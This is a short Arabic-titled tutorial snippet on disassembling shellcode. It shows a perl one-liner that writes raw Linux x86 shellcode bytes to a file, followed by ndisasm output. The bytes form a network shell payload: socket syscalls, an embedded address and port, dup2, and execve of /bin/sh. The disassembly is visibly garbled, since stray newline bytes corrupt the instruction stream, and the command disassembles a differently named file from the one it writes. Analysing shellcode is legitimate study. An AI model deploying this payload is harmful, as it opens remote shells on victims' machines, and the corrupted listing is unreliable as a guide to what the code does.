تحويل shellcode الى لغة الآلة assembly لفهم مايحدث في التغره ...

x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46\

perl -e 'print "\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46
\x04\x97\xc4\x47\xa0\x31\xc0\x89\x46\x08\x89\x46\x0c\x31\xc0\x89
\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43
\x31\xc0\x83\xc0\x66\x51\x53\x50\xcd\x80\x89\x46\x20\x90\x3c\x90
\x8d\x06\x89\x46\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x58\x5b\x59
\x43\x43\xff\x76\x20\xcd\x80\x5b\x4f\x74\x32\x8b\x04\x24\x89\x46
\x08\x90\xbd\x7f\x00\x00\x01\x89\x6e\x04\xc7\x06\x03\x80\x35\x86
\xb8\x04\x00\x00\x00\x8d\x0e\x31\xd2\x83\xc2\x0c\xcd\x80\xc7\x06
\x02\x00\x0b\xab\x89\x6e\x04\x90\x31\xff\x47\xeb\x88\x90\x31\xc0
\x83\xc0\x3f\x31\xc9\x50\xcd\x80\x58\x41\xcd\x80\xc7\x06\x2f\x62
\x69\x6e\xc7\x46\x04\x2f\x73\x68\x00\x89\xf0\x83\xc0\x08\x89\x46
\x08\x31\xc0\x89\x46\x0c\xb0\x0b\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"' > asmcode

ndisasm -b 32 shellcode
00000000  3C90              cmp al,0x90
00000002  89E6              mov esi,esp
00000004  83C640            add esi,byte +0x40
00000007  C70602000BAC      mov dword [esi],0xac0b0002
0000000D  C7460A0497C447    mov dword [esi+0xa],0x47c49704
00000014  A031C08946        mov al,[0x4689c031]
00000019  0889460C31C0      or [ecx-0x3fcef3ba],cl
0000001F  890A              mov [edx],ecx
00000021  46                inc esi
00000022  284089            sub [eax-0x77],al
00000025  46                inc esi
00000026  2440              and al,0x40
00000028  894620            mov [esi+0x20],eax
0000002B  8D4E20            lea ecx,[esi+0x20]
0000002E  31DB              xor ebx,ebx
00000030  43                inc ebx
00000031  0A31              or dh,[ecx]
00000033  C083C066515350    rol byte [ebx+0x535166c0],0x50
0000003A  CD80              int 0x80
0000003C  894620            mov [esi+0x20],eax
0000003F  90                nop
00000040  3C90              cmp al,0x90
00000042  0A8D06894624      or cl,[ebp+0x24468906]
00000048  31C0              xor eax,eax
0000004A  83C010            add eax,byte +0x10
0000004D  894628            mov [esi+0x28],eax
00000050  58                pop eax
00000051  5B                pop ebx
00000052  59                pop ecx
00000053  0A4343            or al,[ebx+0x43]
00000056  FF7620            push dword [esi+0x20]
00000059  CD80              int 0x80
0000005B  5B                pop ebx
0000005C  4F                dec edi
0000005D  7432              jz 0x91
0000005F  8B0424            mov eax,[esp]
00000062  89460A            mov [esi+0xa],eax
00000065  0890BD7F0000      or [eax+0x7fbd],dl
0000006B  01896E04C706      add [ecx+0x6c7046e],ecx
00000071  038035860AB8      add eax,[eax-0x47f579cb]
00000077  0400              add al,0x0
00000079  0000              add [eax],al
0000007B  8D0E              lea ecx,[esi]
0000007D  31D2              xor edx,edx
0000007F  83C20C            add edx,byte +0xc
00000082  CD80              int 0x80
00000084  C7060A02000B      mov dword [esi],0xb00020a
0000008A  AB                stosd
0000008B  896E04            mov [esi+0x4],ebp
0000008E  90                nop
0000008F  31FF              xor edi,edi
00000091  47                inc edi
00000092  EB88              jmp short 0x1c
00000094  90                nop
00000095  31C0              xor eax,eax
00000097  0A83C03F31C9      or al,[ebx-0x36cec040]
0000009D  50                push eax
0000009E  CD80              int 0x80
000000A0  58                pop eax
000000A1  41                inc ecx
000000A2  CD80              int 0x80
000000A4  C7062F620A69      mov dword [esi],0x690a622f
000000AA  6E                outsb
000000AB  C746042F736800    mov dword [esi+0x4],0x68732f
000000B2  89F0              mov eax,esi
000000B4  83C008            add eax,byte +0x8
000000B7  89460A            mov [esi+0xa],eax
000000BA  0831              or [ecx],dh
000000BC  C089460CB00B8D    ror byte [ecx+0xbb00c46],0x8d
000000C3  56                push esi
000000C4  0C8D              or al,0x8d
000000C6  4E                dec esi
000000C7  08                db 0x08
000000C8  89F3              mov ebx,esi